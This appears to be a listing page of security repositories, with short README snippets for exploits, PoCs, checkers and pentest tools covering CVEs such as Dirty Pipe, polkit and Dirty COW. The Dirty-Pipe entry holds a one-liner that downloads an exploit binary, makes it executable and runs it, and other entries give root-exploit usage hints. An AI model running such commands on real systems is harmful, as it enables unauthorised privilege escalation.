CVE-2024-48990-Exploit

CVE-2024-48990 Exploit My full writeup for how I came to re-discovering this N-day and creating my own exploit for it can be found on my blog. Essentially, you can git clone this repository into an attacker-controlled directory, export PYTHONPATH=, and then run main.py with that PYTHONPATH value...

CVE-2024-6387

OpenSSH CVE-2024-6387 Vulnerability Checker This Python script checks if servers are running a vulnerable version of OpenSSH that is susceptible to the CVE-2024-6387 vulnerability. It scans the specified IP addresses or network ranges for the OpenSSH banner and compares it against known vulnerabl...

AutomatedRoot

AutomatedRoot Root MediaTek devices using mtk-su exploit CVE-2020-0069. Requirements Python 3.9 or newerin %PATH% for Windows. ADB in %PATH% for Windows. The CVE-2020-0069 PoC mtk-su. Usage Download the mtk-su binaries from the MediaTek's SU XDA page and move them to their corresponding folders...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 IoC Detection Tool This script is intended to be executed locally on an F5 BIG-IP in Advanced Shell bash by a user with root privileges; it is not intended to be run in any other setting. Note: Appliance Mode does not allow access to Advanced Shell, and therefore this tool cannot be...

hyperfox

Hyperfox Hyperfox is a security auditing tool that proxies and records HTTP and HTTPS traffic between two points. Installation You can install the latest version of hyperfox to /usr/local/bin with the following command requires admin privileges: curl -sL...

exploit-CVE-2021-3560

Exploit for CVE-2021-3560 Polkit - Local Privilege Escalation Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description It was found that polkit could be tricked into bypassing the...

pentest-metasploitable2

Penetration Testing Lab: Kali Linux vs Metasploitable2 Disclaimer: This lab was conducted entirely within an isolated virtual network between two locally-hosted VMs. No external systems, live networks, or real infrastructure were targeted at any point. All techniques demonstrated are for...

Exploit for CVE-2026-104715

CVE-2026-104715 cifs-utils credentials-file option injecti...

Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Privilege escalation vulnerability on MitraStar routers Device: Mitrastar GPT-2541GNAC-N1 Firmware: BRg3.5100VNZ0b33 not tested in other version Exploit: Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh int...

Dirty-Pipe

Oneline Exploit CVE-2022-0847 curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

frida

frida This repository contains various Frida scripts for Android application penetration testing. I created this project to demonstrate the capabilities of the Frida dynamic-analysis framework. You can read my "Introduction to Frida" blog post on Medium, where I'm explaining how to use Frida with...

EUVD-2023-59906

Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority...

lama

lama Lama, the application that does not mince words. Description Lama is a GNU Linux tool to generate a word list. The goal is to obtain a custom password dictionary to a particular target, whether physical or moral. It is therefore important that words in this list correspond to the target. Kee...

Auto-Root-Exploit

Auto-Root-Exploit Auto Root Exploit Tool Author : Nilotpal Biswas Facebook : https://www.facebook.com/nilotpal.biswas.73 Twitter : https://twitter.com/nilotpalhacker USAGE : for kernel version 2.6 all bash autoroot.sh 2 for kernel version 3 all bash autoroot.sh 3 for kernel version 4 all bash...

sudo-exploit

Usage Note: The libnssX directory must be present in the present working directory while running the exploit ubuntu 18.04 ubuntu 20.04...

CVE-2022-39299_PoC_Generator

Exploiting CVE-2022-39299 Signature bypass via multiple root elements Advisory : https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7 Patch : https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e Base Payload Example Extracted Fro...

autopwn

autopwn Specify targets and run sets of tools against them autopwn is designed to make a pentester's life easier and more consistent by allowing them to specify tools they would like to run against targets, without having to type them in a shell or write a script. This tool will probably be usefu...

cachegrab

Cachegrab Cachegrab is a tool designed to help perform and visualize trace-driven cache attacks against software in the secure world of TrustZone-enabled ARMv8 cores. For an overview of how Cachegrab works under the hood, see the Cachegrab release announcement. Using Cachegrab on Android It is...

kernel-exploit-dirtycow-project-subm

kernel-exploit-dirtycow-project-subm Dirty COW Privilege Escalation CVE-2016-5195 This project demonstrates a privilege escalation scenario in a controlled lab environment using the Dirty COW vulnerability on an Ubuntu 16.04 kernel affected by CVE-2016-5195. Environment Attacker VM: Kali Linux...

CVE-2026-25769

🚨 CVE-2026-25769 - Wazuh Insecure Deserialization RCE Critical Worker ➜ Master Remote Code Execution in Wazuh Cluster Mode Unsafe deserialization in Wazuh cluster communications allows a compromised worker node to achieve root RCE on the master node. 📌 Overview CVE ID: CVE-2026-25769 Product: Waz...